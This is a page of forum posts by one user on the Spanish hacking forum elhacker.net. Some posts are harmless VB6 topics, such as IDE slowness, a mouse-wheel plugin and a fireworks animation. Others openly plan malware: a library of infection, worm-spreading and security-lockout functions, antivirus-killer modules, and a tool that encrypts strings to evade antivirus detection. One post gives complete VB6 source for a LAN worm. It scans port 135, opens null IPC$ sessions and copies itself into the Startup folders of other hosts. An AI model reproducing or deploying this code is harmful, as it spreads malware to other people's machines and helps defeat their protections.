elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8 9 10
51  Programación / Programación Visual Basic / Problema: Lentitud del IDE de VB6 en WinVista en: 26 Junio 2008, 23:12 pm
Pues eso, recién me instalé Windows Vista Ultimate en mi equipo, y me instale el Visual Studio 6.0

Para mi sorpresa, en el momento que estoy diseñando cualquier formulario (mover controles, redimensionar controles de cualquier tipo, etc...) se produce una lentitud brutal! Haciendo que el diseño de los formularios resulte irritante.

Alguien con Windows Vista tiene los mismos síntomas?
Si alguien usa Windows Vista + Visual Studio 6.0 y no le ocurre, que me diga que service Pack tiene y su configuración.

Saludos y gracias!!
52  Programación / Programación Visual Basic / [+] Proyecto Open Source: MadFunctions en: 22 Enero 2008, 00:58 am
MadFunctions.bas

Que es esto?
La idea es programar un módulo para VB6 (*.bas) que pueda ser agregado a cualquier proyecto, este módulo irá orientado a la programación de 'malware' en general y facilitará muchísimo la tarea del programador a la hora de implementar las típicas funciones que todo 'malware' devería tener.

Que funciones se integrarán en MadFunctions.bas?
Pues os dejo un listado de las funciones que a día de hoy 22/01/08 voy a implementar, algunas de ellas ya estás hechas (y publicadas en este foro) y otras me falta terminarlas, aquí el listado, el nombre de las funciones (así como sus argumentos) lo describen todo xD

Código
  1. '1) Infection Functions
  2.  
  3. Private Sub infect_HardDrive(ByVal DriveLetter As String) As Integer
  4. Private Sub infect_USBDrive() As Integer
  5. Private Sub infect_NetBiosLan(ByVal SubNet As String) As String
  6. Private Sub infect_File(ByVal FilePath As String) As Boolean
  7. Private Sub infect_ZipFile(ByVal ZipPath As String) As Boolean
  8. Private Sub infect_RarFile(ByVal RarPath As String) As Boolean
  9.  
  10. '2) Spreading Worms Functions
  11.  
  12. Private Sub spread_MSN() As Boolean
  13. Private Sub spread_Yahoo() As Boolean
  14. Private Sub spread_GTalk() As Boolean
  15. Private Sub spread_Skype() As Boolean
  16. Private Sub spread_P2P() As Boolean
  17.  
  18. '3) Locking Functions
  19.  
  20. Private Sub lock_Regedit() As Boolean
  21. Private Sub lock_SysRestore() As Boolean
  22. Private Sub lock_SecurityCenter() As Boolean
  23. Private Sub lock_Firewall() As Boolean
  24. Private Sub lock_SysUpdates() As Boolean
  25. Private Sub lock_IEOptions() As Boolean
  26. Private Sub lock_TaskMgr() As Boolean
  27.  
  28. '4) Deleting Functions
  29.  
  30. Private Sub delete_File(ByVal FilePath As String) As Boolean
  31. Private Sub delete_FileSecure(ByVal FilePath As String) As Boolean
  32. Private Sub delete_AllFolders(ByVal FolderPath As String) As Boolean
  33.  
  34. '5) Managing Process/Services
  35.  
  36. Private Sub kill_Process(ByVal ProcessName As String) As Integer
  37. Private Sub kill_Service(ByVal ServiceName As String) As Integer
  38.  
  39. '6) Internet Functions
  40.  
  41. Private Sub get_PublicIP() As String
  42. Private Sub get_PrivateIP() As String
  43. Private Sub download_File(ByVal ULR As String) As Boolean
  44. Private Sub kill_Google() As Boolean
  45.  
  46. '7) FTP Functions
  47.  
  48. Private Sub ftp_Upload(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileUploadPath As String) As Boolean
  49. Private Sub ftp_Download(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileDoenloadPath As String) As Boolean
  50.  
  51. '8) Self Funtions
  52.  
  53. Private Sub MeltFile()
  54. Private Sub isMutexRunning() As Boolean
  55.  
  56. '9) Net/Lan Functions
  57.  
  58. Private Sub net_ShareFolder(ByVal FolderPath As String, ByVal SharedName As String) As Boolean
  59. Private Sub net_Folder2Drive(ByVal FolderPath As String, ByVal DriveLetter As String) As Boolean
  60.  
  61. '10) Attributes knoking Functions
  62.  
  63. Private Sub change_IncreaseBytes(ByVal FilePath As String, ByVal HowManyBytes As String) As Boolean
  64. Private Sub change_VanishFile(ByVal FilePath As String) As Boolean
  65. Private Sub change_DateMod(ByVal FilePath As String) As Boolean
  66.  
  67. '11) System Functions
  68.  
  69. Private Sub system_Shutdown()
  70. Private Sub system_Logoff()
  71.  

Ojo, faltan las funciones de FileCopy (para copiar ficheros o nuestro ejecutable) y las de Autorun (aquí hay mucho que exprimir), se está barajando la opción de añadir funciones de ADS (Alternate Data Streams), pero no sé aun...

Éste va a ser el listado definitivo de las funciones?
No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético (por ejemplo las funciones de Spreading Worms o las de Infección de Ficheros, Discos USB, Redes Completas, etc...). La encuesta será lanzada en pocos días.

Puedo contribuir, aportando ideas, aportando funciones, etc?
Sí, aunque me guste programar este tipo de cosas, una ayuda nunca viene mal, si tienes cualquier idea, sugerencia, rectificación, mejora, ... o si tienes alguna función creada por ti mismo que desearías incluir aquí: por favor exprésalo en este post para que todos decidamos si incluirlo o no.



Por el momento os pido que miréis el listado actual y opinéis, si debemos quitar/añadir algo, ideas, mejoras, etc... Se buscan Beta-Testers para probar alguna de las funciones bajo circunstancias poco comunes (En Windows 2000, sin privilegios de Administrador, bajo ciertos AntiVirus, etc...)

Saludos, vuestro amigo cojonudo: ||MadAntrax|| :xD
53  Programación / Programación Visual Basic / [Plug-In] - Utiliza el MouseWheel en el IDE de VB6 en: 6 Enero 2008, 01:30 am
Si alguien más se ha dado cuenta, sabrá que en el IDE de VB6 no se puede utilizar el MouseWheel.

 >:(

IDE: Entorno de Desarrollo, el editor de Visual Studio 6.0

Resulta muy incomodo estar trabajando en un proyecto en el que tengas mucho código escrito y tengas que desplazarte por él usando la barra lateral, ahora con este sencillo plug-in podrás usar tu MouseWheel. El creador del Plug-in se llama Joe Bott y en su web podrás descargarte esta aplicación (y algunas utilidades más), junto con el Source Code completo escrito en C++ (curioso que un programador de C++ haga esto para el IDE de VB6, ¿no? xD)

http://www.joebott.com/vb6scrollwheel.htm

Funcionamiento: Descomprimir el fichero (tiene una DLL y un EXE), poner los 2 ficheros en una misma carpeta y ejecutar el EXE (se quedará el icono de un ratón rojo en el área de notificación). Abrir el IDE de VB6 y... ¡a programar!

Yo tengo la DLL y el EXE copiados en C:\Windows\System32 y he añadido el acceso directo del programa a la carpeta Inicio de Windows para que se ejecuta sólo (recomendado).



Sé que hay otras mejoras para habilitar el MouseWheel, incluso Microsoft ha publicado un boletín sobre como solucionar este "fallo", pero yo personalmente prefiero usar el método del amigo Joe Bott, que se ha molestado en programarlo y compartirlo con todos nosotros.

Saludos!! :rolleyes:
54  Programación / Programación Visual Basic / Ayuda: Programar módulos para un AV-Killer en: 14 Octubre 2007, 00:59 am
Hola gente, cuanto tiempo!! :rolleyes:

Bueno, he estado liado con algunos temas personales pero ya vuelvo ha estar por aquí. He retomado el proyecto del Cactus Joiner y actualmente me estoy centrando en los módulos de AV-Killer para integrarlo todo en el Stub. Os dejo una Screen de lo que llevo hecho:



Ese es el listado que he pensado incluir en esta versión del Cactus, de momento he podido desactivar por código, todos los AV's que aparecen en la imagen excepto:

  • Kaspersky 7.0: No encuentro la forma de detenerlo
  • Norton 2007: No encuentro la forma de detenerlo
  • Panda Internet Security: No lo tengo instalado, no podido probar de deshabilitarlo
  • BitDefender v10: No lo tengo instalado, no podido probar de deshabilitarlo
  • AVG Free 7.5: Lo consigo deshabilitar pero requiere un reinicio del sistema.
  • Trend Micro PC-Cillin 2007: Lo tengo instalado y estoy trabajando actualmente con él.

Todos los demás (Nod32, McAffe, Avira, avast!, OnCare, etc...) los he conseguido deshabilitar a través de código VB6 y en menos de 5 segundos.

Alguien se anima y me ayuda a encontrar el método para los demás AntiVirus? Muchisimas gracias!!

Saludos!! ;)
55  Programación / Programación Visual Basic / Necesito opinión sobre una futura GUI en: 1 Agosto 2007, 19:51 pm
Hola a todos!!

Bueno, he vuelto de mis mini-vacaciones y ando un poco oxidado ya xD

Estuve pensando en algún nuevo proyecto y se me ha ocurrido crear un Auto-Encriptador de Strings para proyectos creados con VB6. Algunos pensareis: ¿que demonios es eso? o ¿para que demonios quiero yo eso? xD

Bueno, tiene una fácil respuesta, como programador de malware (en general) que soy, lo que más me molesta es ver como mis nuevas creaciones se vuelven fácilmente detectables por los AV's por culpa de las String's estáticas que hay en los proyectos, ejemplo:

CreateRegKey("HKLM\Software\Microsoft\Windows\Current Version\Run", "update")

Esa String es muy típica encontrarla en cualquier malware y los AV's lo detectan de forma inmediata con solo leer el código en hexadecimal de nuestro ejecutable. Para evitar esta heurística tenemos que cifrar cada String con una función (XOR es la más común) y esta tarea (al menos para mí) resulta muy molesta (sobre todo cuando tienes 200 String's para cifrar.

Otros ejemplos válidos serían:

"virus", "botnet", "hack", "trojan" etc...

Algunos Antivirus detectan y catalogan como virus a cualquier fichero que en su interior se encuentre escritas alguna de esas frases.



Bien, pues mi proyecto lo que hace es bien sencillo, le pasamos la ruta donde está nuestro código fuente original y éste lo modifica y cifra TODAS las Strings que queramos de forma automática, rápida y efectiva, con 1 solo golpe de ratón. ¿Os gusta la idea? a mí al menos si xD

Bien, pues ya tengo la GUI terminada y necesito saber si es muy fea, muy wapa, poco apropiada, muy cargada, etc... Me he inspirado en un proyecto que ví en pscode.com hace muchísimo tiempo y los colores los he sacado de la GUI del troyano Sub7 Gold.


He hecho la foto sobre un fondo negro para que se aprecie el color del borde.

Pues eso, solo necesito saber si continuo adelante con esta GUI o queréis que la cambie un poco (otros colores, en 3D en ves de Flat, etc...). Aprovecho para pedir sugerencias o mejoras para añadir al proyecto.

Saludos y grácias!!
56  Programación / Programación Visual Basic / [Source] Fireworks++ - Lanza petardos y cohetes en VB6 (MEJORADO!!) en: 16 Julio 2007, 23:33 pm
Bueno, aquí el remate final. El Source no es mío, la librería usada para el efecto de "niebla" es sencillamente BRUTAL!

1) Mejorado los efectos de niebla
2) Se han añadido nuevas fórmulas matemáticas para simular petardos
3) Funciona con MouseClick o Random
4) Es wapisimo!! xD





Adjunto source y versón compilada.

NO EJECUTAR ESTE SOURCE DIRECTAMENTE DESDE EL VB6, TENÉIS QUE COMPILARLOS (CREAR EL EXE) Y EJECUTARLO DESDE AHÍ. SI LO EJECUTAS DESDE EL VB6 NO FUNCIONA BIEN!



Recomiendo, cuando lo ejecutéis, que pulséis sobre la opción NO y luego hagáis click con el raton encima del cuadro. Saludos!!
57  Programación / Programación Visual Basic / [Source] Fireworks - Lanza petardos y cohetes en VB6 en: 15 Julio 2007, 18:30 pm
Precioso efecto para añadir en nuestro "About Dialog Box" de cualquier aplicación. Lanza petardos y cohetes de forma aleatória y con colores. Utiliza AlphaBending para simular efecto de "petardo"



Ojo, el source no es mio, lo encontré en www.pscode.com como un screensaver, he tenido que modificar bastante el código para dejarlo limpio y listo para usarlo. Sencillamente precioso, no utiliza librerías de DX7 ni DLL''s ni OCX''s

Código
  1. Private Type Particle
  2.    X As Single
  3.    Y As Single
  4.    Xv As Single
  5.    Yv As Single
  6.    Life As Integer
  7.    Dead As Boolean
  8.    Color As Long
  9. End Type
  10.  
  11. Private Type FireWork
  12.    X As Single
  13.    Y As Single
  14.    Height As Integer
  15.    Color As Long
  16.    Exploded As Boolean
  17.    P() As Particle
  18. End Type
  19.  
  20. Private Type BLENDFUNCTION
  21.  BlendOp As Byte
  22.  BlendFlags As Byte
  23.  SourceConstantAlpha As Byte
  24.  AlphaFormat As Byte
  25. End Type
  26.  
  27. Private Declare Function AlphaBlend Lib "msimg32.dll" (ByVal hDC As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal hDC As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal lInt As Long, ByVal BLENDFUNCT As Long) As Long
  28. Private Declare Sub RtlMoveMemory Lib "kernel32.dll" (Destination As Any, Source As Any, ByVal Length As Long)
  29. Private Declare Function SetPixelV Lib "gdi32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long
  30.  
  31. Dim BF As BLENDFUNCTION
  32. Dim lBF As Long
  33.  
  34. Dim FW() As FireWork
  35. Dim FWCount As Integer
  36. Dim RocketSpeed As Integer
  37.  
  38. Private Sub StartFireWork()
  39.    For i = 0 To FWCount
  40.        If FW(i).Y = -1 Then
  41.            GoTo MAKEFIREWORK
  42.        End If
  43.    Next i
  44.  
  45.    FWCount = FWCount + 1
  46.  
  47.    ReDim Preserve FW(FWCount)
  48.    i = FWCount
  49.  
  50. MAKEFIREWORK:
  51.  
  52.    FW(i).X = Int(Rnd * Me.ScaleWidth)
  53.    FW(i).Y = Me.ScaleHeight
  54.    FW(i).Height = Rnd * Me.ScaleHeight
  55.    FW(i).Color = Int(Rnd * vbWhite)
  56.    FW(i).Exploded = False
  57.    ReDim FW(i).P(10)
  58. End Sub
  59.  
  60. Private Sub DrawFireWork(tFW As FireWork)
  61.    Dim DeadCount As Integer
  62.    Dim RndSpeed As Single
  63.    Dim RndDeg As Single
  64.  
  65.    With tFW
  66.        If .Exploded Then
  67.            For i = 0 To UBound(.P)
  68.                If .P(i).Life > 0 Then
  69.                    .P(i).Life = .P(i).Life - 1
  70.                    .P(i).X = .P(i).X + .P(i).Xv
  71.                    .P(i).Y = .P(i).Y + .P(i).Yv
  72.                    .P(i).Xv = .P(i).Xv / 1.05
  73.                    .P(i).Yv = .P(i).Yv / 1.05 + 0.05
  74.                    PSet (.P(i).X, .P(i).Y), .P(i).Color
  75.                ElseIf .P(i).Life > -40 Then
  76.                    .P(i).Life = .P(i).Life - 1
  77.                    .P(i).X = .P(i).X + .P(i).Xv + (0.5 - Rnd)
  78.                    .P(i).Y = .P(i).Y + .P(i).Yv + 0.1
  79.                    .P(i).Xv = .P(i).Xv / 1.05
  80.                    .P(i).Yv = .P(i).Yv
  81.                    SetPixelV Me.hDC, .P(i).X, .P(i).Y, .P(i).Color
  82.                Else
  83.                    .P(i).Dead = True
  84.                    DeadCount = DeadCount + 1
  85.                End If
  86.            Next i
  87.  
  88.            If DeadCount >= UBound(.P) Then
  89.                .Y = -1
  90.            End If
  91.        Else
  92.            .Y = .Y - RocketSpeed
  93.            If .Y < .Height Then
  94.                Dim ExplosionShape As Integer
  95.  
  96.                ExplosionShape = Int(Rnd * 6)
  97.  
  98.                Select Case ExplosionShape
  99.                    Case 0 ''Regular
  100.                        ReDim .P(Int(Rnd * 100) + 100)
  101.  
  102.                        For i = 0 To UBound(.P)
  103.                            .P(i).X = .X
  104.                            .P(i).Y = .Y
  105.                            .P(i).Life = Int(Rnd * 20) + 20
  106.  
  107.                            RndSpeed = (Rnd * 5)
  108.                            RndDeg = (Rnd * 360) / 57.3
  109.  
  110.                            .P(i).Xv = RndSpeed * Cos(RndDeg)
  111.                            .P(i).Yv = RndSpeed * Sin(RndDeg)
  112.                            .P(i).Color = .Color
  113.                        Next i
  114.  
  115.                        .Exploded = True
  116.                    Case 1 ''Smilely
  117.                        ReDim .P(35)
  118.                        ReDim .P(50)
  119.                        ReDim .P(52)
  120.  
  121.                        For i = 0 To 35
  122.                            .P(i).X = .X
  123.                            .P(i).Y = .Y
  124.                            .P(i).Life = 50
  125.  
  126.                            .P(i).Xv = 3 * Cos(((360 / 35) * (i + 1)) / 57.3)
  127.                            .P(i).Yv = 3 * Sin(((360 / 35) * (i + 1)) / 57.3)
  128.                            .P(i).Color = .Color
  129.                        Next i
  130.  
  131.                        For i = 36 To 50
  132.                            .P(i).X = .X
  133.                            .P(i).Y = .Y
  134.                            .P(i).Life = 50
  135.  
  136.                            .P(i).Xv = 2 * Cos(((360 / 35) * i + 15) / 57.3)
  137.                            .P(i).Yv = 2 * Sin(((360 / 35) * i + 15) / 57.3)
  138.                            .P(i).Color = .Color
  139.                        Next i
  140.  
  141.                        With .P(51)
  142.                            .X = tFW.X
  143.                            .Y = tFW.Y
  144.                            .Life = 50
  145.                            .Xv = 2 * Cos(-55 / 57.3)
  146.                            .Yv = 2 * Sin(-55 / 57.3)
  147.                            .Color = tFW.Color
  148.                        End With
  149.  
  150.                        With .P(52)
  151.                            .X = tFW.X
  152.                            .Y = tFW.Y
  153.                            .Life = 50
  154.                            .Xv = 2 * Cos(-125 / 57.3)
  155.                            .Yv = 2 * Sin(-125 / 57.3)
  156.                            .Color = tFW.Color
  157.                        End With
  158.  
  159.                        .Exploded = True
  160.                    Case 2 ''Star
  161.                        ReDim .P(50)
  162.  
  163.                        RndDeg = Int(360 * Rnd)
  164.  
  165.                        For i = 0 To UBound(.P)
  166.                            .P(i).X = .X
  167.                            .P(i).Y = .Y
  168.                            .P(i).Life = 50
  169.  
  170.                            .P(i).Xv = (i * 0.1) * Cos(((360 / 5) * (i + 1) + RndDeg) / 57.3)
  171.                            .P(i).Yv = (i * 0.1) * Sin(((360 / 5) * (i + 1) + RndDeg) / 57.3)
  172.                            .P(i).Color = .Color
  173.                        Next i
  174.  
  175.                        .Exploded = True
  176.                    Case 3 ''Spiral
  177.                        ReDim .P(50)
  178.  
  179.                        RndDeg = (360 * Rnd)
  180.  
  181.                        For i = 0 To UBound(.P)
  182.                            .P(i).X = .X
  183.                            .P(i).Y = .Y
  184.                            .P(i).Life = 50
  185.  
  186.                            .P(i).Xv = (i * 0.1) * Cos(((360 / 25) * (i + 1) + RndDeg) / 57.3)
  187.                            .P(i).Yv = (i * 0.1) * Sin(((360 / 25) * (i + 1) + RndDeg) / 57.3)
  188.                            .P(i).Color = .Color
  189.                        Next i
  190.  
  191.                        .Exploded = True
  192.                    Case 4 ''Regular Random
  193.  
  194.                        ReDim .P(Int(Rnd * 100) + 100)
  195.  
  196.                        For i = 0 To UBound(.P)
  197.                            .P(i).X = .X
  198.                            .P(i).Y = .Y
  199.                            .P(i).Life = Int(Rnd * 20) + 20
  200.  
  201.                            RndSpeed = (Rnd * 5)
  202.                            RndDeg = (Rnd * 360) / 57.3
  203.  
  204.                            .P(i).Xv = RndSpeed * Cos(RndDeg)
  205.                            .P(i).Yv = RndSpeed * Sin(RndDeg)
  206.                            .P(i).Color = Int(Rnd * vbWhite)
  207.                        Next i
  208.  
  209.                        .Exploded = True
  210.                End Select
  211.            Else
  212.                SetPixelV Me.hDC, .X, .Y, vbWhite
  213.            End If
  214.        End If
  215.    End With
  216. End Sub
  217.  
  218. Private Sub Form_KeyPress(KeyAscii As Integer)
  219.    End
  220. End Sub
  221.  
  222. Private Sub Form_Load()
  223.    Randomize
  224.  
  225.    RocketSpeed = Int(Rnd * 4) + 2
  226.    FWCount = -1
  227.  
  228.    BF.BlendOp = &H0
  229.    BF.BlendFlags = 0
  230.    BF.AlphaFormat = 0
  231. End Sub
  232.  
  233. Private Sub Timer1_Timer()
  234.    For i = 0 To FWCount
  235.        DrawFireWork FW(i)
  236.    Next i
  237.  
  238.    RtlMoveMemory lBF, BF, 4
  239.    AlphaBlend Me.hDC, 0, 0, Me.ScaleWidth, Me.ScaleHeight, Picture1.hDC, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight, lBF
  240.    Me.Refresh
  241. End Sub
  242.  
  243. Private Sub Timer2_Timer()
  244.    StartFireWork
  245.    BF.SourceConstantAlpha = Int(Rnd * 25)
  246.    Timer2.Interval = Int(Rnd * 500)
  247.    Label1.ForeColor = FW(i).Color
  248. End Sub
  249.  
  250.  

Download only for registered users!
58  Programación / Programación Visual Basic / [Source] NetBios infection Module (ojo que es peligroso!) en: 14 Julio 2007, 20:56 pm
NetBios infection Module 1.0

Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.

Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.

Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.

sin más que añadir... aquí lo tenéis.

Código
  1. '##############################################'
  2. '#                                            #'
  3. '# NetBios LAN Infection Module - version 1.0 #'
  4. '#                                            #'
  5. '# Made by ||MadAntrax||                      #'
  6. '# Date: 14/jul/07                            #'
  7. '#                                            #'
  8. '#                       Happy Coding... ;D   #'
  9. '##############################################'
  10.  
  11. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  12. Dim WS As CSocketMaster
  13.  
  14. Sub Main()
  15.    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
  16.    Dim SelfIP As String            'Nuestra propia IP de la LAN
  17.    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
  18.    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
  19.    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
  20.  
  21.    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
  22.    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
  23.  
  24.    If UBound(BufferIP) = 3 Then
  25.        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
  26.  
  27.        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
  28.        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
  29.            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
  30.            DoEvents                                                    'Esperamos...
  31.            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
  32.        End If
  33.    End If
  34. End Sub                                                                 'Fin del Código
  35.  
  36. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  37. 'Función que almacena en un array el último octeto de la dirección IP de
  38. 'todos los Hosts de la LAN que son vulnerables a NetBios
  39. '
  40. 'Ejemplo:
  41. 'Supongamos que encontramos estos Hosts
  42. '   192.168.1.5
  43. '   192.168.1.10
  44. '   192.168.1.128
  45. '   192.168.1.200
  46. '
  47. 'Esta función devuelve: "5,10,128,200"
  48. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  49. Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
  50.    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
  51.  
  52.    AliveHosts = ""
  53.    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
  54.    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
  55.        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
  56.        DoEvents                                                'Esperamos...
  57.            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
  58.        Sleep 500                                               'Esperamos 1/2 Segundo...
  59.        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
  60.            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
  61.        End If                                                  'End If
  62.    Next i
  63.  
  64.    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
  65.        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
  66.        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
  67.        Exit Function                                           '   finalizamos esta función
  68.    End If                                                      'End If
  69.    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
  70. End Function
  71.  
  72. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  73. 'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
  74. 'en todos los Hosts de la LAN que son vulnerables a NetBios
  75. '
  76. 'Ejemplo:
  77. 'Supongamos que encontramos estos Hosts
  78. '   192.168.1.128
  79. '   192.168.1.200
  80. '
  81. 'Esta función ejecuta:
  82. '   net use \\192.168.1.128\ipc$ "" /user:""
  83. '   net use \\192.168.1.200\ipc$ "" /user:""
  84. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  85. Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
  86.    Dim tmpArray() As String
  87.    Dim tmpIP As String
  88.  
  89.    tmpArray = Split(SubNetArray, ",")
  90.    For i = 0 To UBound(tmpArray)
  91.        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
  92.        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
  93.    Next i
  94.    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
  95. End Function
  96.  
  97. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  98. 'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
  99. 'de los Hosts vulnerables a NetBios, para ello utiliza C$
  100. '
  101. 'Ejemplo:
  102. 'Supongamos que encontramos estos Hosts
  103. '   192.168.1.128
  104. '   192.168.1.200
  105. '
  106. 'Esta función ejecuta:
  107. '   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
  108. '   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
  109. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  110. Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
  111.    Dim tmpArray() As String
  112.    Dim tmpIP As String
  113.  
  114.    tmpArray = Split(SubNetArray, ",")
  115.    For i = 0 To UBound(tmpArray)
  116.        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
  117.        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
  118.    Next i
  119.    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
  120. End Function
  121.  



Que hace este código?

Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:

X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$

Dudas, comentarios, sugerencias, criticas.. aquí porfavor :P
59  Programación / Programación Visual Basic / [Source] Shared-Folder execution bypass vulnerability en: 12 Julio 2007, 22:47 pm
He posteado una nueva vulnerabilidad y la prueba de concepto la he hecho (como no) en VB6. Os dejo el link del hilo principal por si alguien quiere investigar un poquito sobre este tema. Realmente es muy interesante para el server de un troyano o una botnet.

Saludos!!

[Vulnerabilidad] Shared-Folder execution bypass vulnerability
http://foro.elhacker.net/index.php/topic,172016.0.html

EDIT: el link se ha movido al foro privado hasta que se encuentre una solución a la vulnerabilidad. Lo siento
60  Programación / Programación Visual Basic / Felicidades a los 2 nuevos moderadores en: 11 Julio 2007, 15:53 pm
Bueno, a uno de ellos ya se presentó: Hendrix en el post de "Moderador Visual Basic 6.0" Y Ahora este subforo se refuerza con el apoyo y dedicación de E0N, que ha demostrado una dedicación, profesionalidad y ética envidiable y por ello se ha ganado el merecido puesto.

Espero que el número de trolls vaya decayendo así como los futuros proyectos de VB vayan en aumento.

Sin más que añadir: Felicidades y bienvenidos Hendrix y E0N
Páginas: 1 2 3 4 5 [6] 7 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines